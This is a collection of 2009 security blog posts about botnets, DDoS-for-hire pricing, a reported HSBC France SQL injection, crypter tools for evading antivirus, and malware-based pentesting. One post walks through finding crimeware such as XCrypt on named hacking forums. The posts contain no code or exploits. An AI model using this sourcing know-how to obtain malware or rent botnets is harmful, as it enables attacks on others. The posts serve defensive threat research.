They're suffering mojo drain. For the last few years 3Com have been messing about with what they're planning to do with TippingPoint - sell the division, subsume the division, spin it off, etc. The net result is that the 3Com business unit has suffered from an uncertain future which has resulted in a mix of brain-drain and mojo evaporation - with the consequence being that threat research and development has languished.

Can TippingPoint recover? Technically yes, just re-tune their detection engines for the new testing environment that NSS Labs use. But professionally I don't think that's the way to go (that sort of thing never occurred under my watch at ISS). TippingPoint's recent protection coverage failures run a lot deeper than that - their R&D teams need better executive support, a plan for the future and to recover their research mojo.

Ollmann speaking at the ZISC Workshop

2009-09-07T10:14:00.000-07:00

This week I'll be in Zurich speaking at the ETH ZISC workshop on Security in Virtualized Environments and Cloud Computing.

The title of my talk is "Not Every Cloud has a Silver Lining" - and it's meant to be a fun (but insightful) look at the biggest and baddest cloud computing environments currently in existence - the botnets.

If you happen to be in Zurich on Thursday morning, by all means, please drop by for the talk. The workshop runs Thursday to Friday.

Need more details on what I'm covering? Below is the abstract...

What’s the largest cloud computing infrastructure in existence today? I’ll give you a hint. It consists of arguably 20 million hosts distributed over more than 100 countries and your computer may actually already be part of it whether you like it or not. It’s not under any single entities control, it’s sphere of influence is unregulated, and its operators have no qualms about sharing or selling your deepest cyber secrets.

The answer is botnets. They’re the largest cloud computing infrastructure out there and they’re only getting bigger and more invasive. Their criminal operators have had well over a decade to perfect their cloud management capabilities, and there’s a lot to learn from their mastery.

This session will look at the evolution of globe-spanning botnets. How does their command and control hierarchy really work? How are malicious activities coordinated? How are botnets seeded and nurtured? And how do they make their cloud invulnerable to shutdown?

HSBC Bank France Hacked

2009-09-03T20:45:00.000-07:00

Looks like Unu has gone and uncovered another major organization vulnerable to SQL Injection - this time it's HSBC Bank in France (previous escapades of Unu include Kaspersky and GameSpot to name but a few).

It's a little hard to verify the legitimacy of whether this particular HSBC hack is completely real because theres not enough evidence beyond some screenshots. That said though, Unu has been pretty reliable in the past on identifying SQL Injection vulnerable sites - so it looks probable.

In the case of HSBC France's system being compromised through SQL Injection, it looks like the backend SQL server was vulnerable - which has resulted in full access to the host. For example, the following list of drives and directories on the system.

Even though it appears that extensive access to the database server files are possible, there's something much worse... Unu has presented a screen shot of user credentials along with their login passwords.

It also looks like HSBC France has failed Security-101 best practices and stored passwords in clear-text. That's a massive no no! They should know better. This would get Web application developers fired in many organizations.

Oh, and a cursory inspection of the (poorly) obfuscated screenshot from Unu also indicates that there's no rigor on password selection or enforcement.

What more could go wrong?

Lets hope that Unu alerted HSBC in advance of his posting and that the SQL Injection vulnerability has been fixed. It'll probably take a little longer to fix the password problems though.

Unu's blog of his most recent HSBC Bank France finding is here.

Rent a DDoS botnet

2009-08-28T08:26:00.000-07:00

Over recent weeks there has been a lot of interest in DDoS botnets – that is to say, rentable botnets that provide DDoS as a managed service. I’ve spoken to a number of people about how easy this is to do, and how practically anyone who happens to know how to use a popular Internet search engine can probably locate the sellers or the hacking message boards they hang around. Perhaps one of the finer points missing about the discussion of renting DDoS botnets pertains to the size.

A fairly typical rate for DDoS botnet rental hovers around the $200 for 10,000 bot agents per day. The rate per day is fairly flexible, and influenced by the actual size of the botnet that the bot master is trying to section off for DDoS services and where those hosts are physically situated. For example, some DDoS providers make a virtue of allocating bots that are located within a particular country and their average Internet bandwidth. Meanwhile, you’ll find providers at the other end of the spectrum offering DDoS services at substantially lower rates. For example, here’s a DDoS botnet for rent at the moment over at Ghost Market…

As you can see from above, this particular operator is offering a botnet of between 80k and 120k hosts capable of launching DDoS attacks of 10-100Gbps – which is more than enough to take out practically any popular site on the Internet. The price for this service? $200 per 24 hours – oh, and there’s a 3 minute try-before-you-buy.

By way of another example, the following screenshot is from another botnet master offering a 12k botnet for rent – for the price of $500 per month. Screenshots like this appear to be popular as a means of validating the sellers claims of the size of their botnets – despite the fact that all of this information can be trivially forged. Notice that only a handful of bots appear to be online and currently accessible? (this ties in to what I was saying the other day about counting botnets).

There are of course plenty of other operators that work this way – offering DDoS managed services – and there’s lots of competition amongst them. What’s perhaps most amusing about this botnet market to me is the fact that so few sellers have “good” reputations – and the message boards are rife with competitors throwing mud about the quality of the service or that the “seller” is actually just running a scam on newbie buyers.

I’d encourage readers to keep an eye on these kinds of hacking portals – just make sure you only access the sites from VM/sandboxed disposable hosts since many of the sites attempt to hack your Web browser. You’ll uncover lots of information about the mainstream botnet seller/renter market and, just as importantly, details about many of the newer or popular DIY botnet creation kits out there.

--Repost from blog.damballa.com.

Opt-in Botnets and hacking from the office

2009-08-26T07:04:00.000-07:00

An area of personal interest for me over the last couple of years has been the evolution of cyber-protesting - in particular the development of what could be best called "opt-in botnets".

While the last 12 months have seen numerous stories covering politically motivated DDoS attacks targeting government institutions and country-specific brand name multi-nationals, several aspects to the evolution of this threat have been lost in the noise.

I'm planning on writing a handful of papers and articles covering both the emergence and evolution of cyber-protesting (from a security practitioners view), and how social networking sites are a game changer for the nature and breadth of attacks we can expect over the coming years.

That said, an important aspect of this cyber-protesting threat I believe lies with the increasing acceptance of opt-in botnets. In particular, the capability of a social group to create/access customized attack tools that can be harnessed for collaborative attacks against a shared target - where the software agent is intelligently linked to a centralized command and control infrastructure - and the distributed agents can be coordinated as a single weapon. All this with the consent of their cyber-protesting supporters.

Some aspects to this botnet-based cyber-protesting have already manifested themselves - in particular the way social networking sites like Facebook were used to incentivize supporters to visit external sites and download tools that would target Hamas or Israeli government sites at the beginning of this year.

That said, and why I bring up this topic now, there was an interesting column piece on SecurityFocus yesterday by Mark Rasch - Lazy Workers May Be Deemed Hackers. Mark examines the very important issue that many corporate entities may have unintentionally exposed their employees to some pretty severe legal ramifications - i.e. potentially exposing them to criminal prosecution if they misuse their work machines. This is important in the context of opt-in botnets.

If an employee decides to install any out-in cyber-protesting software on to their work machine and allows it to launch an attack against some target, while it may be a fire-able offense (i.e. inappropriate use of corporate systems) it could also lead to criminal hacking charges. Which, as Mark's column points out, is a pretty harsh offence for the employee - but also means considerable work (and distractions) for the employer in having to be involved with law enforcement and their prosecution process, whether they want to or not.

r00t-y0u.org Sting Backfires

2009-08-18T10:22:00.000-07:00

OK, so this is quite amusing. It appears that some Ozzie cops had their cyber-sting backfire on them. After taking over the hacking forum root-y0u.org by basically busting an administrator of the site at their home address and posting a "warning" on their sites front page...

"This underground form has been monitored by law enforcement - every post, private message and all registration information has been captured. All member IP addresses and have been logged and identification processes are now underway.

The creation and distribution of malware, denial of service attacks and accessing stolen information are serious crimes.

Every movement on this forum has been tracked and where there is information to suggest a person has committed a criminal act, referrals will be forwarded to the relevant authority in each jurisdiction. There have already been a number of arrests as a result of current investigations. This message should serve as a warning not to engage in criminal activity."

... it seems that a sympathetic soul has in turned hacked the Australian federal police system.

Its odd that the Ozzie police would have decided to alert patrons of the r00t-y0u.org site that they were now being monitored - instead of running with it for longer and perhaps building a cases against the sites users/subscribers. Oh well lessons learned I guess... the painful way.

It's also odd that they didn't take down the affiliated Black Hacking site at the same time? perhaps they did and they're just watching it now ;-)

Dumpster Diving - XCrypt by Kazuya

2009-08-17T19:56:00.000-07:00

For the last week or so I've been repeatedly asked "how do you find these crime-ware tools?" The answer is pretty simple really, I often just use a search engine and focus in on the hacking forums if I'm curious or after some low hanging fruit.

For example, lets take a look at a new(ish) crypter - XCrypt.

I stumbled across this particular crime-ware tool while perusing a popular Spanish hacking site - LatinoHack.com - which I originally came across when I was looking to see if there were any new (or related) updates to the DIY Octopus Keylogger tool.

Since my Spanish is pretty much non-existent, I need to rely upon one of those online Web translators for these kinds of sites - but then again, it seems that most of the "better" underground malware and hacking sites tend not to be in English anyway. These translators are good enough for my purposes though.

XCrypt caught my eye for a handful of reasons:

It was a 1.0 cryptor (and I wasn't familiar with it)...
It wa hosted on a Spanish site but had German instructions...
It was high up on the first page of the forum.

If you're wondering what a cryptor does - well, generally, you point the tool at a malicious file (e.g. a piece of malware that you've already created - say the output from the DIY Octopus Keylogger), click start, and out pops an auto-unpacking self-encrypted version of the original malware that's (probably) going to bypass any anti-virus detection tools out there.

I was curious about XCrypt though, so I did a little more searching - this time using the keywords "xCrypt Public Kazuya" - and came across yet another hacking forum site - PortalHacker.net - which had a whole bundle of other Trojans and keyloggers for download (along with satisfied customer reviews).

PortalHacker had a bit of a discussion going on about XCrypt, including the latest anti-virus coverage (which was nothing currently detected it)...

... which isn't precisely unexpected. It's new(ish).

And, to help things along, the site (and review) also included a convenient option to download the tool from one of the free file-hosting providers out there (which is a popular way of distributing these kinds of crime-ware tools). The file was also password protected - to prevent any perimeter or host-based security products from intercepting the file and potentially flagging it as malware (the tool itself - not the output from the tool).

As for the specifics of this particular crime-ware creator tool - I'll leave that to a full-time threat analyst to do his/her stuff and provide the juicy biopsy of XCrypt - even though there were a bundle of postings on the forum congratulating the author of the tool for their skills and eliteness... as well as repeated AV evasion test results.

So, what was next? How about examining the German heritage of this particular tool?... which led to (yet another) hacking forum site - 1337-crew.to - with a thread covering the XCrypt tool, but this time the thread was started by someone called Kazuya (the author?).

And what do you know, pay dirt, there's an even newer version of the tool available...

... along with new AV test results (only one AV discovers its crypted crime-ware output), and 140 satisfied downloaders.

Most of these kinds of hacking and malware discussion forums have rating systems for contributors (and sellers), and it looks like the last stop in my search found a site that the author of this particular tool likes to hang out - 440 posts and a 5-star site reputation.

And so concludes a brief demonstration in how easy it is to uncover new crime-ware creator kits and tools, and how to get hold of samples to "play" with. This isn't really rocket science kind of stuff.

You may be asking yourself "isn't this all kind of illegal?" and "why aren't these kinds of sites shut down?". Well the answer to that is typically different laws apply in different countries. In most countries it is not illegal to create these kinds of tools, nor is it illegal to discuss their use. In some countries it may be illegal to buy/sell these tools, and in many countries it may be illegal to use them against computers you're not authorized to access - but the net result is that these kinds of information and crime-ware toolsets are out on the Internet for anyone to access (subject to Web filtering policies :-)

Malware of the Day

2009-08-13T13:52:00.000-07:00

It seems that most malware served up by cyber-criminals has a shelf-life of only 24 hours. PandaLabs said that 52% of the 37,000 virus samples they get each day will never be seen again on any other day.

I'm not surprised. Serial variant production lines have been pumping out new malware samples in industrial quantities. Back in early 2007 I released a whitepaper for IBM covering the mechanisms many of the drive-by-download sites were using to create and deploy "unique" malware samples on a per victim visit basis. I'm just glad that one of the anti-virus companies has "confessed" to the problem.

Unfortunately the problem is only going to get worse, and these "cloud-based" service proposals are probably going to provide as much protection against the real botnet threat as a real fluffy-white cloud does against a bullet.

I blogged in more detail on the topic over at the Damballa site. Half of New Viruses Only Useful to Cyber-criminals For A Single Day.

Blackhat & Defcon - Las Vegas '09

2009-08-02T11:31:00.000-07:00

It’s always great to catch up with former colleagues and security peers from around the world, but if there’s a t-shirt I need to add to my collection, it’ll be “I survived another Blackhat/Defcon”. With back-to-back “lets grab a beer and chat” meetings, the days (and evenings) quickly blur in to a litany of bar hops and, with only 24 hours in the day, “sleep” becomes the sacrificial goat on the altar of security knowledge exchange.

Irrespective of the sleep deprivation, the annual pilgrimage to Las Vegas for the paired conferences is generally a vital part of most security professional’s year – particularly those of us who tend to focus on attack vectors and vulnerabilities.

I found this year’s Blackhat to be less claustrophobic than previous years – largely due to the better layout of the stands and spread of conference rooms, but I’m sure that the number of attendees were down quite a bit (the figure thrown around the corridors was “40% down”) – and the average quality of the talks tended to be fairly high, although the variety of genuinely new security content was down quite a bit from previous years. This has been an ongoing trend with Blackhat which I’d attribute to the increasing popularity of more regional/international security conferences and fiercer competition. That said, there were no shortage of terribly boring sessions – particularly those with novice speakers who have rediscovered an old vulnerability and obscured the parallels due to their unique naming conventions.

Of all the talks I attended, the ones I tended to like the most had very little to do with the types of security I do now, or have done in the past – with my favorite being the SSN talk delivered by Alessandro Acquisti. Alessandro delivered an excellent presentation backed by rigorous research, and I enjoyed the anecdotes pertaining to the challenges in dealing with government offices.

One thing I noted too was that in just about every presentation at Blackhat there were references to botnets. Which is great to hear since that’s what I’m focused on, although it was pretty clear that most of the presenters don’t really understand the motivations behind them or their criminal operations particularly well. Often their references to botnets were more in the tune of “…and at the extreme end of damage, it could be used by a botnet to destroy the planet.”

Apart from that, Blackhat/Defcon was its usual self. Lots of geeks traveling in migratory packs lurching from one bar to another after a day of presentations – being lured by the prospect of free alcohol to vendor parties – and trying to fit in with the overall party atmosphere of Vegas. Which, needless to say, tends to go wrong pretty quickly. Geeks + Alcohol + Parties + Vegas Nightlife = Dread (for both those participating and those watching). - But hey, I'll probably be doing it all again next year ;-)

Pentest Evolution: Malware Under Control

2009-07-19T18:10:00.000-07:00

When I look back at the history of commercial consultancy-based pentesting I see two distinct forks in the road. The first happened around 2000, and the second happened around 2003. But I think another fork is about to crop up.

Prior to 2000, commercial pentesting was almost exclusively focused on the external hacking of an organizations Internet visible assets. Basically, professional full-time consulting teams (which can probably be tracked back to 1994 if you push hard enough) were following a loose pentest methodology (still mostly portrayed as a dark art and only "learnable" via an authoritative mentor) - plugging away with vulnerability scanners and exploiting anything that came up - where the goal was break in, plant a few flags, and then tell the client what patches and system hardening they needed to catch up on. This core area of pentesting (which is still a distinct suit of offerings and consulting skills today) focuses upon OS and network-level vulnerability discovery and careful exploitation.

The first fork
By 2000 though, simply hacking an IIS or Apache server through an unpatched vulnerability or permissions flaw and throwing up a command script to "root" the server wasn't really cutting it to anymore for all these new Web applications. So, the first real "specialist" services started appear - focused upon assessing the custom Web application itself - independent of the hosting platform. To my mind, that was the first forking of the pentest track. Sure, there were still (and are) security code reviews (dissecting lines of code and hunting for bugs and vulnerabilities) - but I don't class that as "pentesting" as such, thats either auditing or security assessment.

That first fork led to entirely new pentesting methodologies, training regimes and certifications. But, more importantly, it also led to distinct consulting teams - rather than a specialized subset of network skills learned as part of being a pentester. Today, there's so much to learn in the field of Web Application pentesting that to keep at the top of the game you'll never realistically have time to deep-dive more classical OS and network based pentesting.

The second fork
The next fork that altered the fundamentals of pentesting occurred around 2003 with the advent (and requirement) for specialized reverse engineering skills to "black-box" hack a brand-new commercial software product. Around this time major software vendors were struggling in their battles against blackhat hackers and the full disclosure movement - even the news media was keeping count of the vulnerabilities - and customers were scared.

The solution came from specialist pentesting consulting organizations that had established a name (and reputation) based upon their ability to discover/disclose new vulnerabilities. It was a simple business model - find new bugs in all the software that prospective customers use, tell the media you found some bugs, get recognized by prospective customers as being "elite" pentesters, and turn the "prospective" in to "loyal" customers.

I identify 2003 as the year that specialized bug-hunting and security reverse engineering services started to appear as commercial consulting offerings, and the first real wide-spread traction as software vendors began to procure this specialized consulting.

The skill-sets are (again) quite unique of any other arm of pentesting. While knowledge of the other two pentesting regimes is valuable (e.g. Network/OS pentesting and Web Application pentesting), it takes a different mind and training to excel in the area of security reverse engineering. While you could argue that some of the best "classical" pentesters had many of the skills to find and exploit any new bugs that stumbled across during a client engagement - it wasn't until 2003 that these services really became commercial offerings and sales teams started to sell them.

The impending fork?
Which all leads me to point out a probable new folk in the pentesting path - specialist malware and its employment in pentesting. Why?

It seems to me that we've reached a time where formalized methodologies and compliance mandates have pretty much defined the practical bounds of commercial pentesting (Network/OS, Web application and Reverse Engineering), and yet there is a sizable security gap. And that gap firmly lies within the "prove it" camp of pentesting.

What I mean by that is, as any savvy pentester will tell their customer, the pentest is only as good as the consultant and the tools they used, and is only valid for the configuration tested and the date/time of testing. No guarantees or warranties are inferred, and it's a point in time test. And, on top of all that the scope of the pentest has typically been narrowly defined - which means that you end up with phrases like "system was out of scope...", "...not all patches were applied", "...not allowed to install tools on the compromised host", etc., appearing in the final reports handed to the customer.

But, with the greater adoption/deployment (and availability) of technologies such as IPS, firewalls, ADS, Web filtering, mail gateways, host-based protection, DLP, NAC, etc. and the growing strictness (and relevance) of compliance regulations, those classic limitations of pentesting methodologies leave vacant the "prove it" - prove that those technologies are really working and that the formal emergency response systems really do work.

This is where I think a new skill set, mindset and pentesting methodology is developing - and is an area which I expect to see develop in to commercial offerings this year.

Pentesting with malware
What I envision is the requirement for specialised security pentesting offerings that focus upon developing new "malware" and "delivery systems" designed to not only test the perimeter defenses of an enterprise, but also every layer of their security system in one go.

I don't think it's enough to say "drive-by-downloads are a fact of life and all it takes is one unpatched host to browse a dangerous site to infect our network. but that's OK because we have anomaly detection systems and DLP, and we'll stop them that way". Prove it!

Given the widespread availability of DIY malware creation kits, and the staggering array of tools that can pack, crypt, armour, obfuscate and bind a custom malware sample - and make it completely invisible to any anti-virus technology deployed within an enterprise - I expect that there will be a demand for pentesting to evolve and encompass the use of "live" malware as a core pentest consultancy offering.

For example, does the customers enterprise prevent users from browsing key-munged web sites (e.g. www.gooogle.com, intranet.enterpriise.com, etc.)? Which browser plugings are installed and not fully patched? Can malicious URL's and zipped malware make it through the mail gateways? Can the host-based security package detect keyloggers and network sniffers? If a malware package starts to scan and enumerate the local network from an "infected" host, is it detected, and how fast? What types of data can be exported from an infected host? Does compression and encryption of exported data get detected by the DLP solution? Does the malware have to be "proxy-aware" and require user authentication? Is out-of-hours activity detected from an "infected" host? Is it possible to "worm" through the enterprise network and "infect" or enumerate shared file systems and servers?

All of these questions, and many more, can be answered through the deployment of specialized malware creations and focused delivery techniques. The problem though is that this is an untapped fork in the pentesting road, requiring new mindsets - particularly with enterpise security teams.

The bad guys are already exploiting enterprises with custom malware, yet its generally taboo for consultancies to test security using similar methods. To my mind, that means that new pentesting specialization is now required to deliver the expertiese needed by enterprise business to really test their security from today's threat spectrum.

Malware pentest anyone?

Senior Research Analyst Role(s) Now Available

2009-07-13T12:40:00.000-07:00

Just a quick note to say that I've got a couple of open security jobs going for Senior Research Analysts over at Damballa. I'm looking for a couple of folks that like living on the cutting-edge of security.

You can submit your resume on the company portal HERE if you're interested in getting elbow-deep with botnets.

Below is the job description...

Job Specification: "Senior Research Analyst"
Internet security is evolving at an increasingly rapid pace. As the thrust and parry of attack vectors and defensive tactics force technologies to advance, the biggest security threat now facing enterprise organizations lies with botnets. The Damballa Research team spearheads global threat research and botnet detection innovation.

Damballa’s dedicated research team is responsible for botnet threat analysis and detection innovation. From our Internet observation portals, and using the latest investigative technologies to intercept and capture samples, the research team studies the techniques employed by criminal botnet operators to command and control their zombie hordes – mapping their spread and evolution – and developing new technologies to both detect and thwart the threat.

As a Senior Research Analyst you would be part of the team responsible for providing the threat knowledge that powers the core technologies of Damballa’s products – working on advanced pattern detection algorithms, massive data collection and analysis solutions, prototyping new detection systems, and advancing large-scale applications that deliver actionable threat intelligence.

The rapid evolution of the threat means that, as a Senior Research Analyst, you will also need to be able to deep-dive in to the botnet masters lair – turning over the rocks they hide under and visiting the online portals they do their business in – and be capable of analyzing the evidence of their passing. A key to being successful in this role is the ability to provide internal departments with comprehensive intelligence on malicious software (malware) behavior as it pertains to Botnets and other targeted threats – and to be able to communicate the threat in a clear and concise manner.

Collaborating with the marketing and engineering teams, the Senior Research Analyst will typically need to design and construct analysis tools that automate the extraction of botnet intelligence and make it available to the company’s other technologies and its knowledgebase as well as responding to ad-hoc requests for malware analysis driven by business and client needs to determine characteristics, functionality, and/or recommend countermeasures.

The position may entail interaction with the media following the successful outcome of directed research or response activities.

Responsibilities:

Independent threat analysis and data mining of new botnet instances
Research in to new methods for detecting and reporting botnet activities
Dissection of new botnet samples and the automation of sample processing
Investigation of new botnet command and control tactics and subsequent enumeration of botnet operators
Focused analysis of botnet outbreaks within enterprise and ISP networks
Contribution to research and commercial papers describing the evolving botnet threat

Skills & Experience:

Experience as a security engineer, threat intelligence analyst, or similar senior technical role
Extensive knowledge of tracing and debugging Windows processes in the context of malware reverse engineering
Proficiency with C/C++ programming and x86 assembly /disassembly
Deep understanding of network flow data analysis , deep packet inspection and network behaviors of malicious software
Comprehensive knowledge of anti-debugging and anti-instrumentation techniques
Familiarity with packing and anti-reverse engineering techniques, including data obfuscations that employ primitive or basic cryptography
Ability to troll underground Internet forums and criminal sites/portals for new botnet intelligence

Requirements:

BS or MS in Computer Science or equivalent industry experience
Good understanding of TCP/IP networking and security
Proficient in multiple compiled and scripting languages (Perl, Python, Ruby, Java, C, etc.)
Proficient with Unix (Linux preferred) development and production environment
Proficient query design in relational databases (Postgres/pgsql preferred)
Excellent formal communication and presentation skills
Ability to read and translate multiple international languages a bonus

-------
Note: The roles are ideally based in Atlanta. If you're having trouble with the online form (or need to check to see if your resume arrived safely), you can always try to drop me an email at my work address of 'gollmann-at-damballa-dot-com' - but don't bother to do so if you're an agent or representing someone else (those emails will go straight to the deleted items).